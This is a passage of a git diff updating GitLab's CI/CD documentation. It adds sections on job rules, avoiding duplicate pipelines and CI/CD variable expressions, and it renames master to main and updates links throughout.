few cases, but +run them in all other cases: + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + when: never + - if: '$CI_PIPELINE_SOURCE == "schedule"' + when: never + - when: on_success +``` + +- If the pipeline is for a merge request, the job is **not** added to the pipeline. +- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline. +- In **all other cases**, the job is added to the pipeline, with `when: on_success`. + +WARNING: +If you use a `when:` clause as the final rule (not including `when: never`), two +simultaneous pipelines may start. Both push pipelines and merge request pipelines can +be triggered by the same event (a push to the source branch for an open merge request). +See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines) +for more details. + +### Complex rules + +You can use all `rules` keywords, like `if`, `changes`, and `exists`, in the same +rule. The rule evaluates to true only when all included keywords evaluate to true. + +For example: + +```yaml +docker build: + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + rules: + - if: '$VAR == "string value"' + changes: # Include the job and set to when:manual if any of the follow paths match a modified file. + - Dockerfile + - docker/scripts/* + when: manual + allow_failure: true +``` + +If the `Dockerfile` file or any file in `/docker/scripts` has changed **and** `$VAR` == "string value", +then the job runs manually and is allowed to fail. + +You can use [parentheses](#group-variable-expressions-together-with-parentheses) with `&&` and `||` to build more complicated variable expressions. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3: + +```yaml +job1: + script: + - echo This rule uses parentheses. + rules: + if: ($CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE +``` + +WARNING: +[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938), +rules that use both `||` and `&&` may evaluate with an unexpected order of operations. + +### Avoid duplicate pipelines + +If a job uses `rules`, a single action, like pushing a commit to a branch, can trigger +multiple pipelines. You don't have to explicitly configure rules for multiple types +of pipeline to trigger them accidentally. + +Some configurations that have the potential to cause duplicate pipelines cause a +[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219431) in GitLab 13.3. + +For example: + +```yaml +job: + script: echo "This job creates double pipelines!" + rules: + - if: '$CUSTOM_VARIABLE == "false"' + when: never + - when: always +``` + +This job does not run when `$CUSTOM_VARIABLE` is false, but it *does* run in **all** +other pipelines, including **both** push (branch) and merge request pipelines. With +this configuration, every push to an open merge request's source branch +causes duplicated pipelines. + +To avoid duplicate pipelines, you can: + +- Use [`workflow`](../yaml/README.md#workflow) to specify which types of pipelines + can run. +- Rewrite the rules to run the job only in very specific cases, + and avoid a final `when:` rule: + + ```yaml + job: + script: echo "This job does NOT create double pipelines!" + rules: + - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' + ``` + +You can also avoid duplicate pipelines by changing the job rules to avoid either push (branch) +pipelines or merge request pipelines. However, if you use a `- when: always` rule without +`workflow: rules`, GitLab still displays a [pipeline warning](../troubleshooting.md#pipeline-warnings). + +For example, the following does not trigger double pipelines, but is not recommended +without `workflow: rules`: + +```yaml +job: + script: echo "This job does NOT create double pipelines!" + rules: + - if: '$CI_PIPELINE_SOURCE == "push"' + when: never + - when: always +``` + +You should not include both push and merge request pipelines in the same job without +[`workflow:rules` that prevent duplicate pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines): + +```yaml +job: + script: echo "This job creates double pipelines!" + rules: + - if: '$CI_PIPELINE_SOURCE == "push"' + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' +``` + +Also, do not mix `only/except` jobs with `rules` jobs in the same pipeline. +It may not cause YAML errors, but the different default behaviors of `only/except` +and `rules` can cause issues that are difficult to troubleshoot: + +```yaml +job-with-no-rules: + script: echo "This job runs in branch pipelines." + +job-with-rules: + script: echo "This job runs in merge request pipelines." + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' +``` + +For every change pushed to the branch, duplicate pipelines run. One +branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline +runs the other job (`job-with-rules`). Jobs with no rules default +to [`except: merge_requests`](../yaml/README.md#only--except), so `job-with-no-rules` +runs in all cases except merge requests. + +### Common `if` clauses for `rules` + +For behavior similar to the [`only`/`except` keywords](../yaml/README.md#only--except), you can +check the value of the `$CI_PIPELINE_SOURCE` variable: + +| Value | Description | +|-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | +| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | +| `external` | When you use CI services other than GitLab. | +| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | +| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](../yaml/README.md#trigger) keyword. | +| `push` | For pipelines triggered by a `git push` event, including for branches and tags. | +| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | +| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | +| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | +| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). | + +The following example runs the job as a manual job in scheduled pipelines or in push +pipelines (to branches or tags), with `when: on_success` (default). It does not +add the job to any other pipeline type. + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "schedule"' + when: manual + allow_failure: true + - if: '$CI_PIPELINE_SOURCE == "push"' +``` + +The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md) +and scheduled pipelines. It does not run in any other pipeline type. + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + - if: '$CI_PIPELINE_SOURCE == "schedule"' +``` + +Other commonly used variables for `if` clauses: + +- `if: $CI_COMMIT_TAG`: If changes are pushed for a tag. +- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. +- `if: '$CI_COMMIT_BRANCH == "main"'`: If changes are pushed to `main`. +- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default + branch. Use when you want to have the same configuration in multiple + projects with different default branches. +- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. +- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables) + `CUSTOM_VARIABLE` does **not** match a regular expression. +- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is + exactly `value1`. + +### Variables in `rules:changes` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. + +You can use CI/CD variables in `rules:changes` expressions to determine when +to add jobs to a pipeline: + +```yaml +docker build: + variables: + DOCKERFILES_DIR: 'path/to/files/' + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + rules: + - changes: + - $DOCKERFILES_DIR/* +``` + +You can use the `$` character for both variables and paths. For example, if the +`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the +`$` is interpreted as being part of a path. + ## Specify when jobs run with `only` and `except` You can use [`only`](../yaml/README.md#only--except) and [`except`](../yaml/README.md#only--except) @@ -73,7 +344,7 @@ end-to-end: - $CI_COMMIT_MESSAGE =~ /skip-end-to-end-tests/ ``` -You can use [parentheses](../variables/README.md#parentheses) with `&&` and `||` +You can use [parentheses](#group-variable-expressions-together-with-parentheses) with `&&` and `||` to build more complicated variable expressions: ```yaml @@ -82,9 +353,12 @@ job1: - echo This rule uses parentheses. only: variables: - - ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE + - ($CI_COMMIT_BRANCH == "main" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE ``` +When multiple entries are specified in `only:variables`, the job runs when at least one of them evaluates to `true`. +You can use `&&` in a single entry when multiple conditions must be satisfied at the same time. + ### `only:changes` / `except:changes` examples You can skip a job if a change is detected in any file with a @@ -315,3 +589,114 @@ this feature flag again: ```ruby Feature.enable(:allow_unsafe_ruby_regexp) ``` + +## CI/CD variable expressions + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables) +> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) + +Use variable expressions to control which jobs are created in a pipeline after changes +are pushed to GitLab. You can use variable expressions with: + +- [`rules:if`](../yaml/README.md#rules). +- [`only:variables` and `except:variables`](../yaml/README.md#onlyvariables--exceptvariables). + +For example, with `rules:if`: + +```yaml +job1: + variables: + VAR1: "variable1" + script: + - echo "Test variable comparison + rules: + - if: $VAR1 == "variable1" +``` + +### Compare a variable to a string + +You can use the equality operators `==` and `!=` to compare a variable with a +string. Both single quotes and double quotes are valid. The order doesn't matter, +so the variable can be first, or the string can be first. For example: + +- `if: $VARIABLE == "some value"` +- `if: $VARIABLE != "some value"` +- `if: "some value" == $VARIABLE` + +### Compare two variables + +You can compare the values of two variables. For example: + +- `if: $VARIABLE_1 == $VARIABLE_2` +- `if: $VARIABLE_1 != $VARIABLE_2` + +### Check if a variable is undefined + +You can compare a variable to the `null` keyword to see if it is defined. For example: + +- `if: $VARIABLE == null` +- `if: $VARIABLE != null` + +### Check if a variable is empty + +You can check if a variable is defined but empty. For example: + +- `if: $VARIABLE == ""` +- `if: $VARIABLE != ""` + +### Check if a variable exists + +You can check for the existence of a variable by using just the variable name in +the expression. The variable must not be empty. For example: + +- `if: $VARIABLE` + +### Compare a variable to a regex pattern + +You can do regex pattern matching on variable values with the `=~` and `!~` operators. +Variable pattern matching with regular expressions uses the +[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax). + +Expressions evaluate as `true` if: + +- Matches are found when using `=~`. +- Matches are *not* found when using `!~`. + +For example: + +- `$VARIABLE =~ /^content.*/` +- `$VARIABLE_1 !~ /^content.*/` + +Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a +pattern case-insensitive. For example: `/pattern/i`. + +### Join variable expressions together with `&&` or `||` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0 + +You can join multiple expressions using `&&` (and) or `||` (or), for example: + +- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"` +- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3` +- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3` + +The precedence of operators follows the [Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html), +so `&&` is evaluated before `||`. + +#### Group variable expressions together with parentheses + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. + +You can use parentheses to group expressions together. Parentheses take precedence over +`&&` and `||`, so expressions enclosed in parentheses are evaluated first, and the +result is used for the rest of the expression. + +You can nest parentheses to create complex conditions, and the inner-most expressions +in parentheses are evaluated first. + +For example: + +- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)` +- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` +- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index aff18b0889f..62e9749d959 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -56,7 +56,7 @@ test: > Introduced in GitLab Runner 8.9. -By default, GitLab is configured to use the [`fetch` Git strategy](../runners/README.md#git-strategy), +By default, GitLab is configured to use the [`fetch` Git strategy](../runners/configure_runners.md#git-strategy), which is recommended for large repositories. This strategy reduces the amount of data to transfer and does not really impact the operations that you might do on a repository from CI. @@ -65,7 +65,7 @@ does not really impact the operations that you might do on a repository from CI. > Introduced in GitLab Runner 11.10. -[`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) allows you to +[`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) allows you to control where you clone your sources. This can have implications if you heavily use big repositories with fork workflow. @@ -77,7 +77,7 @@ In such cases, ideally you want to make the GitLab Runner executor be used only for the given project and not shared across different projects to make this process more efficient. -The [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) has to be +The [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) has to be within the `$CI_BUILDS_DIR`. Currently, it is impossible to pick any path from disk. @@ -85,12 +85,12 @@ from disk. > Introduced in GitLab Runner 11.10. -[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) allows you to control +[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) allows you to control whether or not you require the `git clean` command to be executed for each CI job. By default, GitLab ensures that you have your worktree on the given SHA, and that your repository is clean. -[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) is disabled when set +[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) is disabled when set to `none`. On very big repositories, this might be desired because `git clean` is disk I/O intensive. Controlling that with `GIT_CLEAN_FLAGS: -ffdx -e .build/` (for example) allows you to control and disable removal of some @@ -99,7 +99,7 @@ the incremental builds. This has the biggest effect if you re-use existing machines and have an existing worktree that you can re-use for builds. For exact parameters accepted by -[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags), see the documentation +[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags), see the documentation for [`git clean`](https://git-scm.com/docs/git-clean). The available parameters are dependent on Git version. @@ -107,7 +107,7 @@ are dependent on Git version. > [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. -[`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags) allows you +[`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) allows you to modify `git fetch` behavior by passing extra flags. For example, if your project contains a large number of tags that your CI jobs don't rely on, @@ -119,7 +119,7 @@ tags, `--no-tags` can [make a big difference in some cases](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/746). If your CI builds do not depend on Git tags it is worth trying. -See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/README.md#git-fetch-extra-flags) +See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/configure_runners.md#git-fetch-extra-flags) for more information. ## Fork-based workflow diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index a55804432ca..1866b40093a 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, index last_update: 2019-07-03 @@ -70,7 +70,7 @@ build: stage: build script: ./build only: - - master + - main test: stage: test @@ -82,7 +82,7 @@ deploy: stage: deploy script: ./deploy only: - - master + - main ``` #### Excluding certain jobs @@ -100,10 +100,10 @@ Consider the following pipeline, with jobs `A`, `B`, and `C`. Imagine you want: To achieve this, you can configure your `.gitlab-ci.yml` file as follows: -``` yaml +```yaml .only-default: &only-default only: - - master + - main - merge_requests - tags @@ -219,15 +219,15 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix. ### Two pipelines created when pushing to a merge request If you are experiencing duplicated pipelines when using `rules`, take a look at -the [important differences between `rules` and `only`/`except`](../yaml/README.md#avoid-duplicate-pipelines), +the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines), which helps you get your starting configuration correct. If you are seeing two pipelines when using `only/except`, please see the caveats related to using `only/except` above (or, consider moving to `rules`). -It is not possible to run a job for branch pipelines first, then only for merge request -pipelines after the merge request is created (skipping the duplicate branch pipeline). See -the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) for more details. +In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later, +you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines) +after a merge request is open on the branch. ### Two pipelines created when pushing an invalid CI configuration file diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 72603ed94c0..552c007c70d 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 @@ -45,7 +45,7 @@ pipeline for merged results. To enable pipelines for merge results: -- You must have maintainer [permissions](../../../user/permissions.md). +- You must have the [Maintainer role](../../../user/permissions.md). - You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. - You must not be using [fast forward merges](../../../user/project/merge_requests/fast_forward_merge.md) yet. diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index b8ddc547156..7f237655593 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 @@ -59,8 +59,7 @@ to run. If more merge requests are added to the train, they now include the `A` changes that are included in the target branch, and the `C` changes that are from the merge request already in the train. -Read more about -[how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). +Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch this video for a demonstration on [how parallel execution @@ -71,7 +70,7 @@ branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ). To enable merge trains: -- You must have maintainer [permissions](../../../../user/permissions.md). +- You must have the [Maintainer role](../../../../user/permissions.md). - You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. - In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later. - Your repository must be a GitLab repository, not an diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index b6c7bc6653f..eb5ed451778 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -1,12 +1,12 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- -# Migrating from CircleCI +# Migrating from CircleCI **(FREE)** If you are currently using CircleCI, you can migrate your CI/CD pipelines to [GitLab CI/CD](../introduction/index.md), and start making use of all its powerful features. Check out our @@ -41,7 +41,7 @@ jobs: Example of the same job definition in GitLab CI/CD: -``` yaml +```yaml job1: script: "execute-script-for-job1" ``` @@ -209,7 +209,7 @@ jobs: deploy: branches: only: - - master + - main - /rc-.*/ ``` @@ -221,12 +221,12 @@ deploy_prod: script: - echo "Deploy to production server" rules: - - if: '$CI_COMMIT_BRANCH == "master"' + - if: '$CI_COMMIT_BRANCH == "main"' ``` ### Caching -GitLab provides a caching mechanism to speed up build times for your jobs by reusing previously downloaded dependencies. It's important to know the different between [cache and artifacts](../caching/index.md#cache-vs-artifacts) to make the best use of these features. +GitLab provides a caching mechanism to speed up build times for your jobs by reusing previously downloaded dependencies. It's important to know the different between [cache and artifacts](../caching/index.md#how-cache-is-different-from-artifacts) to make the best use of these features. CircleCI example of a job using a cache: @@ -265,7 +265,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index c278160d5ee..812f1caa5d1 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -1,12 +1,12 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- -# Migrating from Jenkins +# Migrating from Jenkins **(FREE)** A lot of GitLab users have successfully migrated to GitLab CI/CD from Jenkins. To make this easier if you're just getting started, we've collected several resources here that you might find useful @@ -128,16 +128,16 @@ agents you were using. There are some important differences in the way runners work in comparison to agents: -- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). +- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/runners_scope.md). They self-select jobs from the scopes you've defined automatically. -- You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and +- You can also [use tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. - GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html). Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. -If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) +If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/README.md) to run jobs without provisioning your own runners. We are investigating making them [available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835) as well. @@ -230,7 +230,7 @@ and is meant to be a mapping of concepts there to concepts in GitLab. The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). -We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs +We also support using [tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use @@ -349,12 +349,14 @@ variable entry. GitLab does support a [`when` keyword](../yaml/README.md#when) which is used to indicate when a job should be run in case of (or despite) failure, but most of the logic for controlling pipelines can be found in -our very powerful [`only/except` rules system](../yaml/README.md#only--except) -(see also our [advanced syntax](../yaml/README.md#only--except)): +our very powerful [`rules` system](../yaml/README.md#rules): ```yaml my_job: - only: [branches] + script: + - echo + rules: + - if: $CI_COMMIT_BRANCH ``` ## Additional resources diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index c1e552f5a9d..acdbe0455ba 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -271,7 +271,7 @@ trigger_job: ### Mirroring status from upstream pipeline You can mirror the pipeline status from an upstream pipeline to a bridge job by -using the `needs:pipeline` keyword. The latest pipeline status from master is +using the `needs:pipeline` keyword. The latest pipeline status from the default branch is replicated to the bridge job. Example: diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index 1a0421258fd..82bac7c51d2 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -38,7 +38,7 @@ set of concurrently running child pipelines, but within the same project: Child pipelines work well with other GitLab CI/CD features: -- Use [`only: changes`](yaml/README.md#onlychanges--exceptchanges) to trigger pipelines only when +- Use [`rules: changes`](yaml/README.md#ruleschanges) to trigger pipelines only when certain files change. This is useful for monorepos, for example. - Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal pipelines, they can have their own behaviors and sequencing in relation to triggers. diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index fa8a4cedf6f..af6b9e5b6b3 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/ci/pipelines.html' type: reference @@ -147,10 +147,11 @@ The pipeline now executes the jobs as configured. > [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. You can use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) -keywords to define [variables](../variables/README.md) that are prefilled when running -a pipeline manually. +keywords to define +[pipeline-level (global) variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +that are prefilled when running a pipeline manually. -In pipelines triggered manually, the **Run pipelines** page displays all variables +In pipelines triggered manually, the **Run pipelines** page displays all top-level variables with a `description` and `value` defined in the `.gitlab-ci.yml` file. The values can then be modified if needed, which overrides the value for that single pipeline run. @@ -164,6 +165,8 @@ variables: description: "The deployment target. Change this variable to 'canary' or 'production' if needed." ``` +You cannot set job-level variables to be pre-filled when you run a pipeline manually. + ### Run a pipeline by using a URL query string > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24146) in GitLab 12.5. @@ -226,7 +229,7 @@ This functionality is only available: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24851) in GitLab 12.7. -Users with [owner permissions](../../user/permissions.md) in a project can delete a pipeline +Users with the [Owner role](../../user/permissions.md) in a project can delete a pipeline by clicking on the pipeline in the **CI/CD > Pipelines** to get to the **Pipeline Details** page, then using the **Delete** button. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index 76f05f5e1e7..0bb7007e7a9 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -1,12 +1,12 @@ --- stage: Verify -group: Continuous Integration +group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html' type: reference, howto --- -# Job artifacts +# Job artifacts **(FREE)** > Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled. @@ -140,10 +140,10 @@ namespace: https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/download?job=coverage ``` -To download the file `coverage/index.html` from the same artifacts: +To download the file `review/index.html` from the same artifacts: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/raw/coverage/index.html?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/raw/review/index.html?job=coverage ``` To browse the latest job artifacts: @@ -155,7 +155,7 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/browse?job=<job For example: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/browse?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/browse?job=coverage ``` To download specific files, including HTML files that @@ -168,7 +168,7 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/file/<path>?job For example, when a job `coverage` creates the artifact `htmlcov/index.html`: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/file/htmlcov/index.html?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/file/htmlcov/index.html?job=coverage ``` ## When job artifacts are deleted diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 